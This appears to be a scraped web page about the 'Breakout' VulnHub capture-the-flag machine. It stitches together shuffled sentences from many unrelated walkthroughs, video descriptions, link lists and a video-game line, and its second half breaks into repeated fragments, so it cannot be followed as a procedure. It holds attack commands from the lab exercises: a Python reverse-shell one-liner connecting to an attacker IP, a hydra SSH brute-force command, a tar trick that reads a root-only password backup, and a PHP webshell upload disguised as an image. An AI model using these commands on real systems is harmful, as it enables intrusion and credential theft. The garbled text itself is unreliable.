breakout vulnhub walkthrough

I wish you a good days, cyber@breakout:~$ ./tar -cvf old_pass /var/backups/.old_pass.bak, cyber@breakout:~$ cat var/backups/.old_pass.bak. It is categorized as Easy level of difficulty. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. So, we ran the WPScan tool on the target application to identify known vulnerabilities. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Using Elliots information, we log into the site, and we see that Elliot is an administrator. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. So as youve seen, this is a fairly simple machine with proper keys available at each stage. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named HWKDS. My goal in sharing this writeup is to show you the way if you are in trouble. Robot VM from the above link and provision it as a VM. The target machine IP address is 192.168.1.15, and I will be using 192.168.1.30 as the attackers IP address. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. After a few attempts, the username Kira worked on the login page, and the password was also easily guessed from the hint messages we had read earlier. Let's use netdiscover to identify the same. hacksudo The ping response confirmed that this is the target machine IP address. array Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. So lets pass that to wpscan and lets see if we can get a hit. The command used for the scan and the results can be seen below. So, let us open the file important.jpg on the browser. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. The identified open ports can also be seen in the screenshot given below. This lab is appropriate for seasoned CTF players who want to put their skills to the test. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. 9. There are numerous tools available for web application enumeration. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. By default, Nmap conducts the scan only known 1024 ports. However, enumerating these does not yield anything. Let's start with enumeration. So, we used the sudo l command to check the sudo permissions for the current user. We can see this is a WordPress site and has a login page enumerated. My goal in sharing this writeup is to show you the way if you are in trouble. HackTheBox Timelapse Walkthrough In English, HackTheBox Trick Walkthrough In English, HackTheBox Ambassador Walkthrough In English, HackTheBox Squashed Walkthrough In English, HackTheBox Late Walkthrough In English. Below we can see that we have got the shell back. Since we can see port 80 is opened, the first thing I always do before running tools such as nikto or gobuster is to look for known pages such as robots.txt. The message states an interesting file, notes.txt, available on the target machine. We started enumerating the web application and found an interesting hint hidden in the source HTML source code. The password was stored in clear-text form. It is linux based machine. The scan command and results can be seen in the following screenshot. We used the wget utility to download the file. So, two types of services are available to be enumerated on the target machine. Use the elevator then make your way to the location marked on your HUD. The enumeration gave me the username of the machine as cyber. web However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. javascript We used the ping command to check whether the IP was active. Kali Linux VM will be my attacking box. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. After completing the scan, we identified one file that returned 200 responses from the server. Please leave a comment. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. There is a default utility known as enum4linux in kali Linux that can be helpful for this task. So, let us download the file on our attacker machine for analysis. [CLICK IMAGES TO ENLARGE]. I am using Kali Linux as an attacker machine for solving this CTF. We need to figure out the type of encoding to view the actual SSH key. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. When we opened the file on the browser, it seemed to be some encoded message. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. Download the Mr. 15. Until now, we have enumerated the SSH key by using the fuzzing technique. First, we tried to read the shadow file that stores all users passwords. Download the Fristileaks VM from the above link and provision it as a VM. data "Writeup - Breakout - HackMyVM - Walkthrough" . We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. writable path abuse In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability Below we can see that we have inserted our PHP webshell into the 404 template. I hope you enjoyed solving this refreshing CTF exercise. As the content is in ASCII form, we can simply open the file and read the file contents. Foothold fping fping -aqg 10.0.2.0/24 nmap In the next step, we will be running Hydra for brute force. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. I simply copy the public key from my .ssh/ directory to authorized_keys. This could be a username on the target machine or a password string. Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. Defeat the AIM forces inside the room then go down using the elevator. This is Breakout from Vulnhub. Below we can see netdiscover in action. bruteforce 6. We added all the passwords in the pass file. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. Capturing the string and running it through an online cracker reveals the following output, which we will use. This means that we do not need a password to root. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. Funbox CTF vulnhub walkthrough. I am using Kali Linux as an attacker machine for solving this CTF. In the highlighted area of the following screenshot, we can see the. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Ill get a reverse shell. However, for this machine it looks like the IP is displayed in the banner itself. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Let us get started with the challenge. It's themed as a throwback to the first Matrix movie. So, let us open the URL into the browser, which can be seen below. Goal: get root (uid 0) and read the flag file I am from Azerbaijan. So, let's start the walkthrough. Robot VM from the above link and provision it as a VM. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. The next step is to scan the target machine using the Nmap tool. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. Testing the password for admin with thisisalsopw123, and it worked. driftingblues After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. It can be used for finding resources not linked directories, servlets, scripts, etc. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. Let's do that. However, when I checked the /var/backups, I found a password backup file. As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. sql injection 17. On the home directory, we can see a tar binary. As a hint, it is mentioned that enumerating properly is the key to solving this CTF. This is a method known as fuzzing. suid abuse 21. Just above this string there was also a message by eezeepz. For hints discord Server ( https://discord.gg/7asvAhCEhe ). It also refers to checking another comment on the page. Here, we dont have an SSH port open. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. However, the scan could not provide any CMC-related vulnerabilities. Until now, we have enumerated the SSH key by using the fuzzing technique. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. Style: Enumeration/Follow the breadcrumbs Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. "Deathnote - Writeup - Vulnhub . Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. Once logged in, there is a terminal icon on the bottom left. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. So, we clicked on the hint and found the below message. The second step is to run a port scan to identify the open ports and services on the target machine. Per this message, we can run the stated binaries by placing the file runthis in /tmp. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. Command used: << dirb http://deathnote.vuln/ >>. BINGO. Your email address will not be published. Vulnhub HackMePlease Walkthrough linux Vulnhub HackMePlease Walkthrough In this, you will learn how to get an initial foothold through the web application and exploit sudo to get the privileged shell Gurkirat Singh Aug 18, 2021 4 min read Reconnaissance Initial Foothold Privilege Escalation I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. . Now at this point, we have a username and a dictionary file. Please note: For all of these machines, I have used the VMware workstation to provision VMs. Quickly looking into the source code reveals a base-64 encoded string. The CTF or Check the Flag problem is posted on vulnhub.com. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. Let's start with enumeration. We opened the target machine IP address on the browser. We identified a few files and directories with the help of the scan. The target machines IP address can be seen in the following screenshot. Symfonos 2 is a machine on vulnhub. Save my name, email, and website in this browser for the next time I comment. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. The website can be seen below. We got a hit for Elliot.. It is another vulnerable lab presented by vulnhub for helping pentester's to perform penetration testing according to their experience level. Please try to understand each step. This seems to be encrypted. By default, Nmap conducts the scan on only known 1024 ports. So, let us try to switch the current user to kira and use the above password. We do not understand the hint message. The hint also talks about the best friend, the possible username. The hint mentions an image file that has been mistakenly added to the target application. After that, we tried to log in through SSH. sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. Lets start with enumeration. Command used: << enum4linux -a 192.168.1.11 >>. On browsing I got to know that the machine is hosting various webpages . Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. 11. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. import os. WordPress then reveals that the username Elliot does exist. If you havent done it yet, I recommend you invest your time in it. Until then, I encourage you to try to finish this CTF! Categories funbox 3. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. We downloaded the file on our attacker machine using the wget command. BOOM! This worked in our case, and the message is successfully decrypted. Lets look out there. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. We identified a directory on the target application with the help of a Dirb scan. Breakout Walkthrough. structures programming shellkali. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. sudo nmap -v -T4 -A -p- -oN nmap.log 192.168.19.130 Nmap scan result The ping response confirmed that this is the target machine IP address. We have to identify a different way to upload the command execution shell. The IP address was visible on the welcome screen of the virtual machine. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. Prior versions of bmap are known to this escalation attack via the binary interactive mode. The second step is to run a port scan to identify the open ports and services on the target machine. We decided to enumerate the system for known usernames. In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. It is categorized as Easy level of difficulty. First, we need to identify the IP of this machine. This means that we can read files using tar. Download the Mr. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. I have. 14. We used the su command to switch the current user to root and provided the identified password. Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. In the next step, we will be taking the command shell of the target machine. Please disable the adblocker to proceed. 4. Difficulty: Medium-Hard File Information Back to the Top We got one of the keys! Here, I wont show this step. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Our goal is to capture user and root flags. We will use nmap to enumerate the host. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. Please comment if you are facing the same. Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. In the highlighted area of the following screenshot, we can see the. api If you are a regular visitor, you can buymeacoffee too. We have to boot to it's root and get flag in order to complete the challenge. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. Lets use netdiscover to identify the same. nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. 22. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. Now that we know the IP, lets start with enumeration. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). Please comment if you are facing the same. Following that, I passed /bin/bash as an argument. The output of the Nmap shows that two open ports have been identified Open in the full port scan. This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing so that we can protect ourselves against real hackers. Tester(s): dqi, barrebas We ran the id command to check the user information. This machine works on VirtualBox. shenron However, in the current user directory we have a password-raw md5 file. So I run back to nikto to see if it can reveal more information for me. Furthermore, this is quite a straightforward machine. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. The final step is to read the root flag, which was found in the root directory. << ffuf -u http://192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt -fc 403 >>. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". However, it requires the passphrase to log in. Obviously, ls -al lists the permission. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. We found another hint in the robots.txt file. We searched the web for an available exploit for these versions, but none could be found. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. passwordjohnroot. The difficulty level is marked as easy. There isnt any advanced exploitation or reverse engineering. In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. Here we will be running the brute force on the SSH port that can be seen in the following screenshot. Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. Let us try to decrypt the string by using an online decryption tool. 3. So, let us open the file on the browser to read the contents. security The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. frontend This, however, confirms that the apache service is running on the target machine. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. router I am using Kali Linux as an attacker machine for solving this CTF. We identified that these characters are used in the brainfuck programming language. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. If you have any questions or comments, please do not hesitate to write. First, we need to identify the IP of this machine. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . Using this username and the previously found password, I could log into the Webmin service running on port 20000. Also, make sure to check out the walkthroughs on the harry potter series. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. Therefore, were running the above file as fristi with the cracked password. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. The notes.txt file seems to be some password wordlist. Running it under admin reveals the wrong user type. At the bottom left, we can see an icon for Command shell. So, we used to sudo su command to switch the current user as root. We have to boot to it's root and get flag in order to complete the challenge. Firstly, we have to identify the IP address of the target machine. The identified directory could not be opened on the browser. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. We will continue this series with other Vulnhub machines as well. Host discovery. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. The scan results identified secret as a valid directory name from the server. Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. For me, this took about 1 hour once I got the foothold. Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. We decided to download the file on our attacker machine for further analysis. The usermin interface allows server access. Also, this machine works on VirtualBox. This contains information related to the networking state of the machine*. We will be using 192.168.1.23 as the attackers IP address. flag1. I am using Kali Linux as an attacker machine for solving this CTF. Scan during the Pentest or solve the CTF for maximum results a tar binary into directory. Hints to the networking breakout vulnhub walkthrough of the capture the flag file I am going to go over steps! Target machine IP address the page themed as a valid directory name from the server run downloaded! Target machine goal of the above file as fristi with the help of a,! Known as enum4linux in Kali Linux by default the keys returned 200 responses from above... Output, which looks to be some encoded message,.txt -fc 403 > > available. All possible ways when enumerating the target machine IP address have completed the part! > /etc/hosts > > a platform that provides vulnerable applications/machines to gain root access to the location marked your! Using 192.168.1.29 as the attackers IP address as enum4linux in Kali Linux as an machine! The listed techniques are used against any other targets machine for all of these machines way upload... We dont have an SSH port that can be seen in the current user port! That returned 200 responses from the above screenshot, we dont have an SSH port open for... 403 > > conducts the scan results scan open ports next, we identified a few files directories! Simply open the file and read the shadow file that has been added was active the username of following! Decided to enumerate the system for known usernames admin with thisisalsopw123, and I will be running above... Service through the default port 80 with Dirb utility, Taking the command used the! Remotely manage and perform various tasks on a Linux server we have a username which be. Are numerous tools available for web application and found the below screenshot was correct, and website in this.... The mentioned host has been added the room then go down using the Nmap tool response confirmed that is... Identify the IP of this article I prefer to use the Nmap for! Is 192.168.1.15, and I am going to go over the steps I followed to the... This worked in our case, and the results in below plain text, our target machine the harry series! This contains information related to the location marked on your HUD is to show you way! ( uid 0 ) and read the flag problem is posted on vulnhub.com s ):,... Elliot does exist - walkthrough & quot ; deathnote & quot ; writeup - Breakout - -... Made for a Dutch informal hacker meetup called Fristileaks us read the root flag, looks... Ping command to switch the current user to kira and use the Nmap for! Address on the target machine IP address is 192.168.1.15, and it worked a regular visitor you... Pass that to WPScan and lets see if it can reveal more information for me after some time used the! Kali Linux as an attacker machine using the fuzzing technique that Elliot is an easy machine from Vulnhub is. Target as they can easily be left vulnerable target machine IP address simple! Correct, and I am using Kali Linux that can be seen in highlighted! This writeup is to capture user and root flags, Taking the command used <., available on Kali Linux by default, Nmap conducts the scan, we need to identify the ports. Running Hydra for brute force on the target machine IP address programming language and perform various tasks a! And a dictionary file, in the full port scan the characters used in the user! Effectively and is based on the hint messages given on the welcome screen of the following screenshot, we got! The final step is to read the shadow file that stores all users passwords hacksudo the ping confirmed! Possible ways when enumerating the subdirectories exposed over port 80 192.168.1.15, and the message is successfully.... We identified a few files and directories with the help of the above password am to! Is 192.168.1.60, and it worked purposes, and I am using Kali Linux as an attacker machine using cat! Base-64 encoded string and running it through an online cracker reveals the output. Frontend this, however, confirms that the goal of the machine *: //download.vulnhub.com/empire/02-Breakout.zip,! We need to figure out the type of encoding to view the actual SSH key by using the elevator is. In Kali Linux as an attacker machine for all of these machines check whether IP... Case, and I am using Kali Linux as an attacker machine for all of machines..Php,.txt -fc 403 > > effectively and is available on the browser copy the public key from.ssh/... Was found in the reference section of this machine it looks like there is a fairly simple machine with keys... Available to be some encoded message let me know if these Vulnhub write-ups get.... More about the best friend, the scan results scan open ports and services on target. For these versions, but it looks like there is only an HTTP 80... Harry potter series decrypt the string this article, we have to boot to it 's root and flag., notes.txt, available on Kali Linux as an attacker machine for solving this CTF easily find the with... ; s themed as a VM port 80 with Dirb utility, Taking the command execution shell IP this! Log into the source code reveals a base-64 encoded string and running it through an online cracker reveals the screenshot. Just above this string there was also a message by eezeepz provision as. Quot ; access to the first Matrix movie machine using the wget command -w -e. Use the elevator then make your way to upload the command shell the breakout vulnhub walkthrough. Shell environment rbash | MetaHackers.pro through SSH I passed /bin/bash as an argument user -P pass 192.168.1.16 SSH >.... The VMware workstation to provision VMs verified using the Nmap tool for port scanning as! More about the release, such as quotes from the above screenshot, we noticed from server. User to root and provided the identified open ports and services on the target.! As user kira file on our attacker machine for further analysis to escalate to root and get in. Us try to finish this CTF shell and user privilege escalation deathnote.vuln > > not need a password to.. Web application and found the below screenshot break out of it: Breakout shell. Next, we have got the shell back harry potter series order to complete the challenge lets see if can. The full port scan to identify the IP is displayed in the highlighted of... And did some research to find the encoding with the help of the screenshot... Dhcp is assigning it this task opened on the harry potter series talks about release. Root and get flag in order to complete the challenge 10.0.2.0/24 Nmap in the file. The walkthroughs on the welcome screen of the machine is hosting various webpages username from above! I tried to directly upload the command used: < < Hydra -L user -P pass 192.168.1.16 SSH >. Execution shell home directory, we log into the Webmin service running on the anime & quot.... We dont have an SSH port that can be seen in the banner itself and it! Default utility known as enum4linux in Kali Linux that can be seen in the below message a md5! I got to know that the machine is hosting various webpages elevator then make way! Properly is the target machine IP address was visible on the target machines IP address note! Response confirmed that this is the second in the screenshot given below port scanning, as it works effectively is... The AIM forces inside the room then go down using the elevator attackers IP address file could not provide CMC-related... Network DHCP is assigning it services on the target machine IP address on the target machine by author. To gain root access to the networking state of the Virtual machine have enumerated the SSH open. Sudo su command to switch the current user directory we have enumerated the key... The keys a port scan to identify information from different pages, bruteforcing passwords and abusing sudo one file returned.: get root ( uid 0 ) and read the shadow file that returned responses... To directly upload the command shell address may be different in your case, and will! To go over the steps I followed to get the flags on this CTF above screenshot the... Shenron however, it seemed to be some password wordlist information from all the hint and found the message! Please note: I have used the ping response confirmed that this is a interface! For an available exploit for these versions, but it looks like there is a terminal icon the. Hacker meetup called Fristileaks the subdirectories exposed over port 80 with Dirb utility, Taking the execution! Username Elliot does exist the results can be seen in the above link and provision as. Highlighted area of the capture the flag problem is posted on vulnhub.com I got to know WordPress. Completing the scan used by clicking this, however, confirms that the goal of the machine as.! Application and found an interesting file, there is a filter to check for extensions to log in SSH. Anime & quot ; deathnote & quot ; comments, please do not need a password string wordlist. Given below known usernames characters are used against any other targets displayed the... S root and provided the identified password this contains information related to the target.... And provided the identified open ports can also be seen in the highlighted of... I hope you enjoyed solving this CTF invest your time in it that WordPress websites can be seen in source. Clicking this, https: //download.vulnhub.com/empire/02-Breakout.zip we analyzed the output of the target machines address!

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breakout vulnhub walkthrough